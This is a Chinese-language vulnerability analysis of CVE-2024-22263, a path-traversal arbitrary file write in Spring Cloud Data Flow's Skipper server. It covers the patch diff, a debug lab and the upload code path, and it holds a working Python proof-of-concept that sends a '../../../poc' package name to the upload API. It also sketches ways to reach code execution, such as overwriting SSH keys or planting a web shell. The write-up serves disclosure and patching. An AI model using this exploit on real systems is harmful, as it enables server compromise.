CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

admin 2024年8月23日23:07:10评论64 views字数 11700阅读39分0秒阅读模式

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

介绍

Spring Cloud Data Flow 是一个基于微服务的平台,用于 Cloud Foundry 和 Kubernetes 中的流式和批量数据处理,它容易受到任意文件写入问题的攻击。该漏洞位于 Skipper 服务器组件中,该组件负责处理包上传请求。由于上传路径的清理不足,有权访问 Skipper 服务器 API 的恶意用户可以通过制作专门设计的上传请求来利用此漏洞。这允许攻击者将任意文件写入服务器文件系统上的任何位置,从而可能导致服务器完全被攻陷。

什么是 Spring Cloud Dataflow?

Spring Cloud Dataflow 是一个全面的工具包,旨在在微服务架构中构建和编排数据管道。它是 Spring 生态系统的一部分,专注于实现实时和批量数据处理。该平台允许开发人员创建、部署和管理数据处理工作流,这些工作流可以处理各种数据集成和处理任务,例如 ETL(提取、转换、加载)操作、流处理和事件驱动的数据处理。

补丁差异

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

该漏洞的补丁在github上,并且已应用于pring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java

重新排序validateUploadRequest 

在原始代码中,在上传方法开始时会调用validateUploadRequest方法,如下所示:

@Transactional

public PackageMetadata upload(UploadRequest uploadRequest) {

    validateUploadRequest(uploadRequest);

此时,临时目录 (packageDirPath) 尚未创建,因此验证方法无法验证将使用的实际文件路径。补丁通过将validateUploadRequestcall移到临时目录创建之后来更改此顺序:

@Transactional

public PackageMetadata upload(UploadRequest uploadRequest) {

    Path packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");

    validateUploadRequest(packageDirPath, uploadRequest);

这一变化至关重要,因为现在,validateUploadRequest 接收 packageDirPath 作为参数,允许它验证上传过程中将使用的完整文件路径。这确保所有文件操作都局限于指定的临时目录中,从而增强了上传过程的安全性。

路径验证

在原始代码中,验证上传请求方法主要侧重于空检查并确保包文件不为空:

private void validateUploadRequest(UploadRequest uploadRequest) {
Assert.notNull(uploadRequest.getRepoName(), "Repo name can not be null");
Assert.notNull(uploadRequest.getName(), "Name of package can not be null");
Assert.notNull(uploadRequest.getVersion(), "Version can not be null");
// Other checks...
}

补丁程序通过检查文件路径,为该方法添加了一个关键的新验证步骤:

private void validateUploadRequest(Path packageDirPath, UploadRequest uploadRequest) throws IOException {
// Existing null checks...

File destinationFile = new File(packageDirPath.toFile(), uploadRequest.getName().trim());
String canonicalDestinationDirPath = packageDirPath.toFile().getCanonicalPath();
String canonicalDestinationFile = destinationFile.getCanonicalPath();

if (!canonicalDestinationFile.startsWith(canonicalDestinationDirPath + File.separator)) {
throw new SkipperException("Entry is outside of the target dir: " + uploadRequest.getName());
}
}

这个新的代码段使用获取 CanonicalPath() 解析实际文件路径,删除所有符号链接并规范化路径。验证检查目标文件的规范路径(规范目标文件)以目标目录的规范路径开头(规范目标目录路径)。如果路径尝试使用路径遍历技术(例如,../../)逃离目录,则此条件将失败,并且会引发异常,从而阻止未经授权的文件写入。

文件路径清理

在补丁发布之前,代码直接使用用户输入来构造文件路径,例如:

Path packageFile = Paths.get(packageDir.getPath() + File.separator + uploadRequest.getName() + "-" + uploadRequest.getVersion() + "." + uploadRequest.getExtension());

这种方法使代码容易受到恶意输入的攻击,从而可能操纵文件路径。补丁通过清理输入解决了这个问题:

String fullName = uploadRequest.getName().trim() + "-" + uploadRequest.getVersion().trim() + "." + uploadRequest.getExtension().trim();
Path packageFile = Paths.get(packageDir.getPath() + File.separator + fullName);

通过使用修剪()在软件包名称、版本和扩展名上,该补丁删除了可能用于路径操纵攻击的任何前导或尾随空格。此清理可确保文件路径格式正确,并降低路径遍历或其他基于文件的漏洞的风险。结合之前对规范路径的验证,此更改可确保构建的文件路径安全地保留在目标目录中。

补丁前与补丁后

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

实验设置

受影响的版本包括2.11.x 和 2.10.x,因此对于实验室设置任何版本之前2.11.x 和 2.10.x对我们进行分析很有用。我正在使用2.11.0进行分析。spring-cloud-dataflow-2.11.0/src/docker-compose,我们可以发现docker-compose.yml文件,我们将添加JAVA_TOOL_OPTIONS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005到skipper-server下的环境部分,这样我们就可以在动态分析过程中对其进行调试:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

现在,让我们部署我们的实验室:

sudo docker-compose up -d

在这里,我们可以看到仪表板:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

Skipper 服务器 API:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

分析

我们知道,漏洞存在于包服务.java。您可以在spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/service/PackageService.java:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

静态分析

由于漏洞位于上传方法中,因此我们来搜索一下这个函数的使用位置。右键单击并选择“查找用法”:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

我们可以看到如下用法:

Method
upload(UploadRequest)
Usages of base method in Project Files (5 usages found)
Unclassified (5 usages found)
spring-cloud-skipper-server-core (5 usages found)
org.springframework.cloud.skipper.server.controller (1 usage found)
PackageController (1 usage found)
upload(UploadRequest) (1 usage found)
88 return this.packageMetadataResourceAssembler.toModel(this.packageService.upload(uploadRequest));
org.springframework.cloud.skipper.server.controller.docs (1 usage found)
UploadDocumentation (1 usage found)
uploadRelease() (1 usage found)
70 when(this.packageService.upload(any(UploadRequest.class))).thenReturn(pkg.getMetadata());
org.springframework.cloud.skipper.server.service (3 usages found)
PackageServiceTests (3 usages found)
upload() (1 usage found)
142 PackageMetadata uploadedPackageMetadata = this.packageService.upload(uploadProperties);
testPackageNameVersionMismatch() (1 usage found)
182 this.packageService.upload(uploadRequest);
assertInvalidPackageVersion(UploadRequest) (1 usage found)
218 PackageMetadata uploadedPackageMetadata = this.packageService.upload(uploadRequest);

当我们去

spring-cloud-dataflow-2.11.0/spring-cloud-skipper/spring-cloud-skipper-server-core/src/main/java/org/springframework/cloud/skipper/server/controller/PackageController.java:

@RequestMapping(path = "/upload", method = RequestMethod.POST)
@ResponseStatus(HttpStatus.CREATED)
public EntityModel<PackageMetadata> upload(@RequestBody UploadRequest uploadRequest) {
return this.packageMetadataResourceAssembler.toModel(this.packageService.upload(uploadRequest));
}

我们可以看到上传方法在这里被调用,它通过/上传通过端点邮政方法。

@RestController
@RequestMapping("/api/package")
public class PackageController {

private final SkipperStateMachineService skipperStateMachineService;

private final PackageService packageService;

private final PackageMetadataService packageMetadataService;

在代码的开头,我们可以看到/上传映射是/api/包,我们可以通过访问来确认/api/package/上传

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

我们可以看到它告诉我们得到方法不允许。现在,让我们分析一下上传()方法来了解请求是如何被处理的以及问题发生的位置。

validateUploadRequest(uploadRequest);
Repository localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());

该方法首先验证上传请求通过调用验证上传请求(上传请求);。进而存储库 localRepositoryToUpload = getRepositoryToUpload(uploadRequest.getRepoName());
检索将要上传包的存储库。我们可以通过以下方式发现现有的存储库/api/repositories。

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

现在,如果我们转到代码中验证上传请求()定义:

验证上传请求()

Assert.notNull(uploadRequest.getRepoName(), "Repo name can not be null");
Assert.notNull(uploadRequest.getName(), "Name of package can not be null");
Assert.notNull(uploadRequest.getVersion(), "Version can not be null");

这里,该方法首先检查上传请求不为空。Assert.notNull 方法用于检查每个字段。如果某个字段无效的。如果我们通过得到*()方法:

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public String getRepoName() {
return repoName;
}

public void setRepoName(String repoName) {
this.repoName = repoName;
}

public String getVersion() {
return version;
}

我们可以看到它正在返回参数的值,如果我们向上滚动:

public class UploadRequest {

private String name;
private String repoName;
private String version;
private String extension;
private byte[] packageFileAsBytes;

上传请求类包含上传操作所需的所有参数,包括名称、repoName、版本、扩展名、封装文件为字节。下一个

try {
Version.valueOf(uploadRequest.getVersion().trim());
}
catch (ParseException e) {
throw new SkipperException("UploadRequest doesn't have a valid semantic version. Version = " +
uploadRequest.getVersion().trim());
}

验证上传请求方法验证版本。之后:

Assert.notNull(uploadRequest.getExtension(), "Extension can not be null");
Assert.isTrue(uploadRequest.getExtension().equals("zip"), "Extension must be 'zip', not "
+ uploadRequest.getExtension());

然后该方法检查上传请求不是无效的并且符合预期的格式,即“拉链”该方法通过检查表示文件的字节数组是否无效的并且不为空。

Assert.notNull(uploadRequest.getPackageFileAsBytes(), "Package file as bytes must not be null");
Assert.isTrue(uploadRequest.getPackageFileAsBytes().length != 0, "Package file as bytes must not be empty");

获取PackageFileAsBytes()方法应返回包含包文件数据的字节数组。此数组不得无效的。数组也不能为空,这意味着它应该包含一些数据。空数组表示文件无效或损坏。最后,该方法检查存储库中是否已存在具有相同名称、版本和存储库的包。

PackageMetadata existingPackageMetadata = this.packageMetadataRepository.findByRepositoryNameAndNameAndVersion(
uploadRequest.getRepoName().trim(), uploadRequest.getName().trim(), uploadRequest.getVersion().trim());
if (existingPackageMetadata != null) {
throw new SkipperException(String.format("Failed to upload the package. " +
"Package [%s:%s] in Repository [%s] already exists.",
uploadRequest.getName(), uploadRequest.getVersion(), uploadRequest.getRepoName().trim()));
}

这是通过查询软件包元数据存储库使用findByRepositoryNameAndNameAndVersion方法. 如果找到具有相同名称、版本和存储库的包(现有包元数据 != 空),该方法抛出一个SkipperException,表示该包已经存在于指定的存储库中,因此无法继续上传。

Path packageDirPath = TempFileUtils.createTempDirectory("skipperUpload");
File packageDir = new File(packageDirPath + File.separator + uploadRequest.getName());
packageDir.mkdir();

接下来,该方法创建一个临时目录来保存处理过程中的包文件。这是使用以下命令实现的:TempFileUtils.创建TempDirectory(“skipperUpload”);,它会生成一个具有指定前缀的目录。在此临时目录中,将使用上传请求. 问题来了,uploadRequest.getName()如果没有正确验证或清理,文件路径将把它写入非预期位置。

静态分析摘要

到目前为止,从我们的静态分析中我们可以得出以下结论:
参数如下:

1.name

  • 类型: string

  • 描述:此参数表示正在上传的包的名称。它是存储库上下文中的唯一标识符。

2.repoName

  • 类型: string

  • 描述:此参数指定将要上传包的存储库的名称。存储库是保存多个包的存储位置。

3.version

  • 类型: string

  • 描述:此参数表示正在上传的包的版本。版本通常以语义版本格式表示(例如“1.0.0”)。

4.extension

  • 类型: string

  • 描述: extension 参数指定正在上传的包的文件扩展名。此参数表示文件的格式,在提供的方法中预期为“zip”。

5.packageFileAsBytes

  • 类型: byte[]

  • 描述:此参数以字节数组的形式保存包文件的实际内容。它是正在上传的文件的二进制表示。字节数组允许文件通过网络传输或保存到磁盘。此参数至关重要,因为它包含将被解压、处理并最终由系统使用的实际数据。例如,如果您要上传包含软件库的 ZIP 文件,则 packageFileAsBytes 将是该 ZIP 文件的原始字节。

该流程缺陷如下:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

动态分析

现在,让我们进行动态分析来确认我们的发现。

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

添加后远程 JVM 调试,我们继续配置:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

接下来我们在上传方法。

现在,我们需要以 JSON 格式构建我们的请求,如应用程序所标识的:

import requests
import json

def zip_to_byte_array(zip_file_path):
"""
Converts a ZIP file to a list of integers representing the byte array.

:param zip_file_path: The path to the ZIP file.
:return: List of integers representing the ZIP file as a byte array.
"""
with open(zip_file_path, 'rb') as zip_file:
return list(zip_file.read())

def upload_package(url, repo_name, package_name, version, extension, package_file_as_bytes):
"""
Sends a POST request to the given URL with the upload package request body.

:param url: The URL to send the request to.
:param repo_name: The repository name where the package will be uploaded.
:param package_name: The name of the package.
:param version: The version of the package.
:param extension: The file extension of the package (should be 'zip').
:param package_file_as_bytes: The list of integers representing the byte array of the package file.
:return: The response from the server.
"""
upload_request = {
"repoName": repo_name,
"name": package_name,
"version": version,
"extension": extension,
"packageFileAsBytes": package_file_as_bytes
}

headers = {
'Content-Type': 'application/json'
}

response = requests.post(url, headers=headers, data=json.dumps(upload_request))
return response

if __name__ == "__main__":
# Define the parameters
repo_name = "local"
package_name = "../../../poc"
version = "1.0.0"
extension = "zip"
zip_file_path = "poc.zip"

# Convert the ZIP file to a list of integers (byte array)
package_file_as_bytes = zip_to_byte_array(zip_file_path)

# URL to send the request to
url = "http://127.0.0.1:7577/api/package/upload"

# Upload the package
response = upload_package(url, repo_name, package_name, version, extension, package_file_as_bytes)

# Print the response from the server
print(f"Status Code: {response.status_code}")
print(f"Response Body: {response.text}")

输出:

% python3 send_request.py
Status Code: 500
Response Body: {"timestamp":"2024-08-21T11:35:26.415+00:00","status":500,"error":"Internal Server Error","exception":"java.lang.IllegalArgumentException","message":"Package is expected to be unpacked, but it doesn't exist","path":"/api/package/upload"}

我们观察到服务器响应了500状态码。但是,如果我们检查容器,我们可以看到我们的波克文件夹已创建并且其中存在文件:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

接下来我们运行调试器并分析该过程:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

当断点命中时,我们可以清楚地看到我们的请求的参数:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

验证我们的请求后,该进程将搜索存储库以确认其存在:

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

问题就在这里:上传应该在/tmp/skipperUpload1128613998285237062,但由于我们提供的名称未经过滤,因此发生目录遍历,导致路径“/tmp/skipperUpload1128613998285237062/../../poc

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

然后服务器将我们上传的拉链文件到目录。

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

最后,使用ZipUtil确认所有细节后,我们现在就可以利用该漏洞了。

动态分析摘要

CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

开发

有太多方法可以利用这一点来实现远程代码执行, 就像覆盖远程控制密钥。或者将 web shell 放置在 apache 目录下,覆盖启动时执行的其他文件等。

您可以从我们的github找到扫描仪和代码

减轻

建议受影响版本的软件用户升级到相应的修复版本以缓解漏洞。下表列出了受影响的版本及其各自的修复版本。用户务必应用这些更新以确保其系统免受此漏洞可能引发的潜在攻击。

受影响的版本 修复版本
2.11.x 2.11.3
2.10.x 2.11.3

结论

Spring Cloud Data Flow 的 Skipper 服务器组件中的漏洞,具体位于上传方法包服务.java,代表了重大的安全风险。由于对上传路径的清理和验证不足,有权访问 Skipper 服务器 API 的攻击者可以利用此漏洞对服务器文件系统上的任何位置执行任意文件写入。这可能导致服务器完全被攻陷,允许攻击者通过覆盖关键文件(例如 .ssh 密钥)、将恶意脚本放入可执行目录中或修改系统启动期间执行的文件来实现远程代码执行 (RCE)。通过静态和动态分析,我们确定了问题的根本原因——即在构建文件路径时对用户提供的输入处理不当。后续补丁通过重新排序验证过程、清理输入并确保所有文件操作都安全地限制在指定的临时目录中,有效地解决了该问题。强烈建议用户升级到软件的修复版本,以缓解漏洞并保护其系统免受潜在攻击。

参考

  • https://dataflow.spring.io/docs/

  • https://dataflow.spring.io/docs/installation/local/docker/

  • https://docs.spring.io/spring-cloud-dataflow/docs/current/reference/htmlsingle/#api-guide

  • https://spring.io/projects/spring-cloud-skipper#learn

  • https://github.com/spring-cloud/spring-cloud-dataflow/commit/2ac9bfa5c2f7cdcc86938ce036283a37008add31?diff=split&w=1

  • https://github.com/spring-cloud/spring-cloud-dataflow

  • https://github.com/securelayer7/CVE-2024-22263_Scanner

原文始发于微信公众号(独眼情报):CVE-2024-22263:Spring Cloud Dataflow 任意文件写入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月23日23:07:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-22263:Spring Cloud Dataflow 任意文件写入https://cn-sec.com/archives/3088935.html

发表评论

匿名网友 填写信息